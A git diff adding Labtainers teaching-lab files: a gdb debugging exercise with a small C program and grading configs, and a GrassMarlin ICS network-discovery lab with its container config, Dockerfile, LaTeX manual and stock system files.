+1,29 @@ +#include +#include +void main(int argc, char *argv[]) { + int total; + int n; + int i; + /* Your edit goes below */ + + /* Add line above */ + if(argc > 1) { + i = atoi(argv[1]); + } + else { + printf("You must provide one integer argument greater than 0.\n"); + i = -1; + } + for(n = 0; n <= i; n++) { + if(n % 2 == 0){ + total += (n + n + 1) * n; + } + else{ + total -= (n + n + 1) * n; + } + } + total = abs(total); + printf("The value of 1 should be 3.\nThe value of 2 should be 7.\nThe value of 3 should be 14.\nThe value of 4 should be 22.\nYour total is: %d\n", total); +} + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/goals.config new file mode 100644 index 000000000..d94d7a754 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/goals.config @@ -0,0 +1,6 @@ +# goals.config +# +# NOTE: intern-developed lab, not necessarily a suitable example +smx_task_a = matchany : string_equal : smx_check_one : answer=Total +smx_task_b = matchany : string_equal : smx_check_two : answer=The +correct_check_a = matchany : integer_equal : correct_check_one : answer=7 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/results.config new file mode 100644 index 000000000..084211070 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/instr_config/results.config @@ -0,0 +1,12 @@ +# results.config +# +# NOTE: intern-developed lab, not necessarily a suitable example +gcc_task_one = gcc.stdin : CONTAINS : -g sampleMath.c -o sampleMath +smx_check_one = sampleMath.stdout : 1 : STARTSWITH : Total +smx_check_two = sampleMath2.stdout : 1 : STARTSWITH : The +gdb_run_task = gdb.stdin : CONTAINS : r +gdb_list_task = gdb.stdin : CONTAINS : l +gdb_print_task = gdb.stdin : CONTAINS : p +gdb_step_task = gdb.stdin : CONTAINS : s +correct_check_one = sampleMath.stdout : LINE_COUNT +correct_check_two = sampleMath2.stdout : CONTAINS : 117477 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/about.txt new file mode 100644 index 000000000..cdb897148 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/about.txt @@ -0,0 +1 @@ +Introduction to the GrassMarlin SCADA/ICS network discovery tool. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/bigexternal.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/bigexternal.txt new file mode 100644 index 000000000..046abb265 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/bigexternal.txt @@ -0,0 +1 @@ +https://github.com/nsacyber/GRASSMARLIN/releases/download/v3.2.1/grassmarlin_3.2.1.ubuntu1604-1_amd64.deb grassmarlin/grassmarlin_3.2.1.ubuntu1604-1_amd64.deb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/start.config new file mode 100644 index 000000000..604f59b4a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/start.config @@ -0,0 +1,41 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER grassmarlin + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED grassmarlin_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER grassmarlin + USER analyst + PASSWORD password + X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/dockerfiles/Dockerfile.grassmarlin.grassmarlin.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/dockerfiles/Dockerfile.grassmarlin.grassmarlin.student new file mode 100644 index 000000000..c6d34eb1a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/dockerfiles/Dockerfile.grassmarlin.grassmarlin.student @@ -0,0 +1,75 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +RUN apt-get update && apt-get install -y --no-install-recommends default-jre +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +RUN sudo dpkg -i /home/$user_name/grass*.deb +RUN rm /home/$user_name/grass*.deb +RUN sudo ln -s /usr/bin/wireshark /usr/sbin/wireshark +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/GRASSMARLIN_User_Guide.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/GRASSMARLIN_User_Guide.pdf new file mode 100644 index 000000000..89bd9024d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/GRASSMARLIN_User_Guide.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/Makefile new file mode 100644 index 000000000..a45a64852 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/Makefile @@ -0,0 +1,8 @@ +grassmarlin.pdf: grassmarlin.tex header.tex + latex grassmarlin + pdflatex grassmarlin + pdflatex grassmarlin + +clean: + rm -fr auto + rm -f grassmarlin.aux grassmarlin.log grassmarlin.pdf grassmarlin.dvi grassmarlin.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.aux new file mode 100644 index 000000000..dfd5ffc58 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.aux @@ -0,0 +1,24 @@ +\relax +\providecommand\hyper@newdestlabel[2]{} +\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} +\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined +\global\let\oldcontentsline\contentsline +\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} +\global\let\oldnewlabel\newlabel +\gdef\newlabel#1#2{\newlabelxx{#1}#2} +\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} +\AtEndDocument{\ifx\hyper@anchor\@undefined +\let\contentsline\oldcontentsline +\let\newlabel\oldnewlabel +\fi} +\fi} +\global\let\hyper@last\relax +\gdef\HyperFirstAtBeginDocument#1{#1} +\providecommand\HyField@AuxAddToFields[1]{} +\providecommand\HyField@AuxAddToCoFields[2]{} +\@writefile{toc}{\contentsline {section}{\numberline {1}Overview}{1}{section.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.1}Background}{1}{subsection.1.1}} +\@writefile{toc}{\contentsline {section}{\numberline {2}Lab Environment}{1}{section.2}} +\@writefile{toc}{\contentsline {section}{\numberline {3}Network Configuration}{1}{section.3}} +\@writefile{toc}{\contentsline {section}{\numberline {4}Lab Tasks}{1}{section.4}} +\@writefile{toc}{\contentsline {section}{\numberline {5}Submission}{2}{section.5}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.dvi new file mode 100644 index 000000000..33430770a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.dvi differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.out b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.out new file mode 100644 index 000000000..bea67abbb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.out @@ -0,0 +1,6 @@ +\BOOKMARK [1][-]{section.1}{Overview}{}% 1 +\BOOKMARK [2][-]{subsection.1.1}{Background}{section.1}% 2 +\BOOKMARK [1][-]{section.2}{Lab Environment}{}% 3 +\BOOKMARK [1][-]{section.3}{Network Configuration}{}% 4 +\BOOKMARK [1][-]{section.4}{Lab Tasks}{}% 5 +\BOOKMARK [1][-]{section.5}{Submission}{}% 6 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.tex new file mode 100644 index 000000000..8a5df8289 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.tex @@ -0,0 +1,66 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE GrassMarlin} +\vspace{0.1in}\\ +\end{center} + +\section{Overview} +This lab provides an introduction to GrassMarlin, a software tool that provides a method for discovering and cataloging +Supervisory Control \& Data Acquisition (SCADA) and Industrial Control System (ICS) hosts on IP-based +networks. + +\subsection {Background} +The student is expected to have some familiarity with the Linux command line. +And some experience with the Wireshark tool is expected (e.g., the wireshark-intro lab). + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer grassmarlin +\end{verbatim} +\noindent A link to this lab manual will be displayed, along with a link to the +GrassMarlin User Guide. + + +\section{Network Configuration} +The lab consists of a single computer that contains the GrassMarlin tool, and a PCAP file. + +\section{Lab Tasks} +Start the GrassMarlin application using this command on the terminal titled ``analyst@grassmarlin: +\begin{verbatim} + grassmarlin +\end{verbatim} +\noindent Refer to the GrassMarlin User Guide for information about the tool. + +From the ``File'' menu, select ``Import Files'' and use the ``Add Files'' button and the file +browser to add the PCAP file found at ``analysist/ics-trace.pcap''. Then use the ``Import Selected'' button +on the ``Import'' dialog to import that file. It may take a minute to complete the import. When the import +completes, close the ``Import'' dialog. + +You should then see the ``Logical Graph'' of system components that the GrassMarlin tool discovered from the +PCAP file. + +Right click on components and select "View Details" to learn what the tool has discovered about each component. +On the left hand panel, expand the node lists to locate summeries of packet traffic sent and received by +each node. Right click on one having substantial traffic, and select ``View Frames'' to view the captured packets. +If you find interesting traffic, you can right click on a frame and select ``Open in Wireshark''. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/header.tex new file mode 100644 index 000000000..b208b177b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/header.tex @@ -0,0 +1,121 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/read_first.txt new file mode 100644 index 000000000..dd8ad59d6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/grassmarlin.pdf +The GrassMarlin user guide is at: + file://LAB_DOCS/GRASSMARLIN_User_Guide.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/.java/.userPrefs/prefs.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/.java/.userPrefs/prefs.xml new file mode 100644 index 000000000..432b9a4d9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/.java/.userPrefs/prefs.xml @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/4SICS-GeekLounge-151020.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/4SICS-GeekLounge-151020.pcap new file mode 100644 index 000000000..038f169f7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/4SICS-GeekLounge-151020.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_bin/fixlocal.sh new file mode 100755 index 000000000..a2f1b81f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_bin/fixlocal.sh @@ -0,0 +1,21 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +/usr/bin/grassmarlin -s +/usr/bin/grassmarlin & +sleep 3 +pkill java diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/ics-trace.pcap 